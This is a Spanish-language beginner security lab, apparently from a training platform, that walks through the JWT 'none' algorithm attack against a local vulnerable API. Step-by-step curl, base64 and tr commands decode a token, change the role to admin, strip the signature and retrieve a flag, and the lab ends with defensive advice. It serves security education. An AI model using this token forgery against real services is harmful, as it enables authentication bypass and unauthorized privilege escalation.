Fundamentos de manipulación de JWT

CiberseguridadBeginner
Practicar Ahora

Introducción

Los JSON Web Tokens (JWT) son un estándar abierto utilizado para compartir información de seguridad entre dos partes: un cliente y un servidor. Cada JWT contiene objetos JSON codificados, incluyendo un conjunto de reclamaciones (claims). Los JWT se firman mediante un algoritmo criptográfico para garantizar que las reclamaciones no puedan ser alteradas después de que el token sea emitido.

Una de las lecciones más importantes para principiantes es que el contenido de los JWT suele estar codificado, no cifrado. Cualquier persona que posea el token a menudo puede leer las reclamaciones. La propiedad de seguridad proviene de la verificación de la firma, no del secreto.

Sin embargo, una implementación incorrecta de las bibliotecas JWT puede derivar en vulnerabilidades de seguridad graves. Una de las vulnerabilidades más infames es el ataque del algoritmo "None". Si un servidor admite el algoritmo none, un atacante puede modificar el payload del token (por ejemplo, cambiando su rol de usuario a 'admin'), establecer el algoritmo en none y eliminar la firma. El servidor aceptará entonces el token falsificado como válido.

En este laboratorio, interactuarás con una API local vulnerable. Aprenderás a extraer un JWT, decodificar su estructura Base64Url, manipular el payload para elevar tus privilegios y explotar la vulnerabilidad del algoritmo 'none' para obtener acceso administrativo no autorizado.

Interceptar y extraer el JWT

En este paso, interactuarás con un servidor API local que se ejecuta en tu máquina. El servidor tiene un endpoint de inicio de sesión que emite un JSON Web Token (JWT) para un usuario estándar. Tu primera tarea es solicitar este token y guardarlo para su posterior análisis.

Un JWT se envía normalmente en el encabezado HTTP Authorization como un token Bearer, pero inicialmente se proporciona al cliente tras una autenticación exitosa. Utilizaremos la herramienta de línea de comandos curl para simular una solicitud de inicio de sesión.

Ejecuta el siguiente comando en tu terminal para acceder al endpoint de inicio de sesión:

curl -s http://127.0.0.1:5000/api/login

Deberías ver una respuesta JSON que contiene una larga cadena de caracteres separados por dos puntos (.). Esta cadena es el JWT.

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

Para facilitar el trabajo con este token en los pasos siguientes, extraigamos solo la cadena del token y guardémosla en un archivo llamado token.txt. Podemos usar grep con una expresión regular para analizar la salida JSON.

Ejecuta el siguiente comando para guardar el token:

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

Puedes verificar que el token se guardó correctamente mostrando el contenido del archivo:

cat token.txt

Mantén este token a mano, ya que diseccionaremos su estructura en el siguiente paso.

Decodificar la estructura del JWT

En este paso, desglosarás el JWT en sus componentes principales y los decodificarás para comprender la información que contienen.

Un JWT estándar consta de tres partes separadas por puntos (.). La primera parte es el Encabezado (Header), que contiene metadatos sobre el token, como el algoritmo de firma utilizado (por ejemplo, HS256). La segunda parte es el Payload, que contiene las reclamaciones o datos reales como el nombre de usuario, el rol y el tiempo de expiración. La parte final es la Firma (Signature), que se utiliza para verificar que el remitente del JWT es quien dice ser y para garantizar que el mensaje no haya sido alterado en el camino.

Esta separación es importante porque muchos ataques a JWT se dirigen a la confusión sobre qué parte puede cambiarse de forma segura y qué parte debe estar protegida criptográficamente.

El Encabezado y el Payload están codificados mediante Base64Url. Esto significa que no están cifrados; cualquiera que intercepte el token puede decodificar y leer fácilmente el contenido.

Es por eso que las decisiones de autorización sensibles nunca deben depender de que las reclamaciones estén ocultas. Deben depender de que la firma sea validada correctamente.

Primero, dividamos el token en sus componentes de Encabezado y Payload y guardémoslos en archivos separados. Usaremos el comando cut para dividir la cadena mediante el delimitador .. En un JWT, el carácter de punto separa las tres secciones, por lo que cut es una forma rápida de separar el token sin necesidad de una herramienta JWT especial.

## Extraer la primera parte (Encabezado)
cat token.txt | cut -d '.' -f 1 > header.b64

## Extraer la segunda parte (Payload)
cat token.txt | cut -d '.' -f 2 > payload.b64

Ahora, decodifiquemos el Encabezado. Dado que la codificación Base64Url a veces elimina los caracteres de relleno (=) al final, las herramientas de decodificación Base64 estándar podrían dar error. Para nuestro encabezado específico, la longitud está perfectamente alineada, por lo que podemos decodificarlo directamente usando el comando base64 -d:

cat header.b64 | base64 -d

Deberías ver una salida similar a esta, indicando que el token utiliza el algoritmo HS256:

{"alg":"HS256","typ":"JWT"}

A continuación, decodifiquemos el Payload. La cadena del payload podría requerir relleno para ser decodificada correctamente por la utilidad base64 estándar. Podemos añadir == para asegurar que se decodifique adecuadamente:

echo "$(cat payload.b64)==" | base64 -d

La salida revelará las reclamaciones dentro del token:

{"username":"guest","role":"user"}

Observa que tu rol actual está configurado como user. Si intentas acceder al endpoint /api/admin con este token, se te denegará el acceso. Puedes probar esto ejecutando:

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

El servidor responderá con un error de acceso denegado. En los siguientes pasos, manipularemos estas partes decodificadas para eludir esta restricción.

Explotar el algoritmo 'None'

En este paso, prepararás la primera parte de nuestro ataque modificando el Encabezado del JWT para explotar la vulnerabilidad del algoritmo none.

Cuando un servidor verifica un JWT, comprueba el campo alg (algoritmo) en el Encabezado para saber qué algoritmo criptográfico se utilizó para crear la firma. Algunas bibliotecas JWT mal configuradas admiten un algoritmo llamado none. Si un atacante cambia el campo alg a none, el servidor podría omitir el proceso de verificación de la firma por completo. Esto permite al atacante modificar el payload sin necesidad de la clave secreta del servidor para generar una firma válida.

Creemos un nuevo encabezado JSON que especifique el algoritmo none.

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

Ahora, necesitamos codificar esta nueva cadena JSON de nuevo al formato Base64Url. Base64Url es ligeramente diferente del Base64 estándar: elimina los caracteres de relleno = finales, reemplaza + por - y reemplaza / por _.

Podemos lograr esta codificación utilizando una combinación de comandos estándar de Linux: base64 para la codificación inicial y tr para traducir y eliminar los caracteres específicos.

Ejecuta el siguiente comando para codificar el nuevo encabezado:

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

Verifiquemos el contenido de nuestro encabezado recién codificado:

cat new_header.b64

Deberías ver la siguiente cadena Base64Url:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

Esta cadena representa nuestro encabezado malicioso. Al usar este encabezado, estamos instruyendo al servidor API vulnerable para que no valide la firma de nuestro token.

Modificar las reclamaciones del Payload (Rol Admin)

En este paso final, modificarás el payload del JWT para elevar tus privilegios, ensamblarás el token falsificado y lo usarás para acceder al endpoint administrativo restringido.

Anteriormente, descubrimos que nuestro payload contenía "role":"user". Queremos cambiar esto a "role":"admin".

Primero, crea un nuevo archivo JSON que contenga el payload modificado:

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

A continuación, al igual que hicimos con el encabezado, necesitamos codificar este nuevo payload al formato Base64Url. Usaremos la misma combinación de comandos base64 y tr:

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

Puedes ver el payload codificado ejecutando:

cat new_payload.b64

Ahora tenemos nuestro encabezado malicioso (new_header.b64) y nuestro payload elevado (new_payload.b64). El último paso es construir el JWT final.

Recuerda que el formato de un JWT es Header.Payload.Signature. Dado que estamos usando el algoritmo none, no hay firma. Sin embargo, el servidor todavía espera que el token tenga tres partes separadas por puntos. Por lo tanto, nuestro token falsificado se verá como Header.Payload.. El punto final es importante porque mantiene el token en la estructura de tres partes esperada, aunque la parte de la firma esté vacía.

Ensamblemos el token falsificado y guardémoslo en un archivo:

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

Verifica que el token se vea correcto:

cat forged_token.txt

Finalmente, es hora de probar nuestro exploit. Enviaremos una solicitud al endpoint restringido /api/admin, pasando nuestro token falsificado en el encabezado Authorization.

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

Si el exploit tiene éxito, el servidor aceptará el algoritmo none, omitirá la comprobación de la firma, leerá tu rol como admin y te otorgará acceso. ¡Deberías ver un mensaje de éxito que contiene una bandera secreta!

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

Resumen

¡Felicidades! Has completado con éxito el laboratorio de Fundamentos de manipulación de JWT.

En este laboratorio, aprendiste a:

  • Interceptar y extraer JSON Web Tokens de las respuestas de la API.
  • Diseccionar la estructura de un JWT y decodificar su Encabezado y Payload codificados en Base64Url.
  • Comprender las graves implicaciones de seguridad de la vulnerabilidad del algoritmo 'none'.
  • Elaborar manualmente un JWT malicioso alterando las reclamaciones del payload y eludiendo la verificación de la firma para lograr una escalada de privilegios.

Estas habilidades son fundamentales para comprender la seguridad de las API e identificar fallos de autenticación durante pruebas de penetración o auditorías de seguridad. En este laboratorio, abusaste de un modo de verificación débil configurando el algoritmo en none. En otros escenarios, los atacantes pueden lograr un resultado similar si de alguna manera descubren el secreto de firma real y generan su propio token válido. Asegúrate siempre de que tus aplicaciones apliquen una verificación estricta de algoritmos, protejan cuidadosamente los secretos de firma y nunca acepten el algoritmo none en entornos de producción.